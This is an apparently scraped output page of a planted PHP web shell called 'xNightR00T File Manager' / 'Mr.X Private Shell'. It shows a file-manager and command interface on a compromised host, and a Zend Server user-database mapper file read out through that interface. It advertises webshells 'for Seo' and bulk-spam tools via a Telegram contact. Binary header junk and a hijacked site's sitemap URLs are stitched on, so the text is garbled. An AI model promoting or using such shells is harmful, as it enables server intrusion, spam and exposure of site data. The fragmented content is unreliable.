xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Users\Db;

use Zend\Db\Sql\Predicate\Predicate;
use Zend\Db\Sql\Where;
use Zend\Db\Sql\Delete;
use ZendServer\Exception;
use ZendServer\Log\Log;
use Zend\Crypt\Hash;
use ZendServer\Set;
use \Application\Db\TableGateway;
use Zend\Db\Exception\ExceptionInterface;
use Configuration\MapperAbstract;

class Mapper extends MapperAbstract
{
    /**
     * @var \Application\Db\TableGateway
     */
    protected $tableGateway;

    public function __construct(TableGateway $tableGateway = null)
    {
        $this->tableGateway = $tableGateway;
    }

    /**
     * @return Set
     */
    public function getActiveUsers()
    {
        $where = new Where();
        $where->notEqualTo('PASSWORD', '');
        return $this->tableGateway->select($where);
    }

    /**
     * @return Set
     */
    public function getUsers()
    {
        return $this->tableGateway->select();
    }

    /**
     * @param string $name
     * @return array
     */
    public function findUserByName($name)
    {
        $user = $this->tableGateway->select(array('NAME' => $name))->current();
        if ($user instanceof \ArrayObject) {
            return $user->getArrayCopy();
        }
        throw new Exception(_t('User \'%s\' was not found', array($name)));
    }

    /**
     * 
     * @param string $username
     * @param string $password
     * @param string $role
     * @throws \ZendServer\Exception
     */
    public function setUser($username, $password, $role = null)
    {

        if ($password == '') {
            $updateFields = array('PASSWORD' => '');
        } else {
            //Insert or Update if exists
            $updateFields = array('PASSWORD' => Hash::compute('sha256', $password));
        }

        if ($role) {
            $updateFields['ROLE'] = $role;
        }

        try {
            $user = $this->findUserByName($username);
            if ($user['PASSWORD'] != Hash::compute('sha256', $password)) {
                /// only store the password if it is actually different
                $this->tableGateway->update($updateFields, array('NAME' => $username));
            }
        } catch (Exception $ex) {
            /// no user found, insert a new user
            $this->insertUserWithRetries(array('NAME' => $username) + $updateFields);
        } catch (ExceptionInterface $ex) {
            throw new Exception(_t("Could not write to the database: users table. Please check permissions."));
        }

        if ($password == '') {
            Log::info("Add user $username (with no password) and role $role");
        } else {
            Log::info("Add user $username (with password) and role $role");
        }
    }

    public function insertUserWithRetries($data, $returnSet = true, $returnRaw = false)
    {
        $that        = $this;
        $queryResult = 0;

        $retriesResult = $this->executeWithRetries(function() use ($that, $data, &$queryResult) {
            $queryResult = $this->tableGateway->insert($data);
        });

        if ($retriesResult === false) {
            throw new \WebAPI\Exception(_t('Error executing inserting user with retries. Probably DB is locked'),
            \WebAPI\Exception::DATABASE_LOCKED);
        }

        return $queryResult;
    }

    /**
     * Remove all users' records, except for the administrator user
     * @return integer
     */
    public function deleteAllButAdmin()
    {
        $predicate = new Predicate();
        $predicate->notEqualTo('NAME', 'admin');
        return $this->tableGateway->update(array('PASSWORD' => ''), new Where(array($predicate)));
    }
}

Filemanager

Name Type Size Permission Actions
Mapper.php File 3.51 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml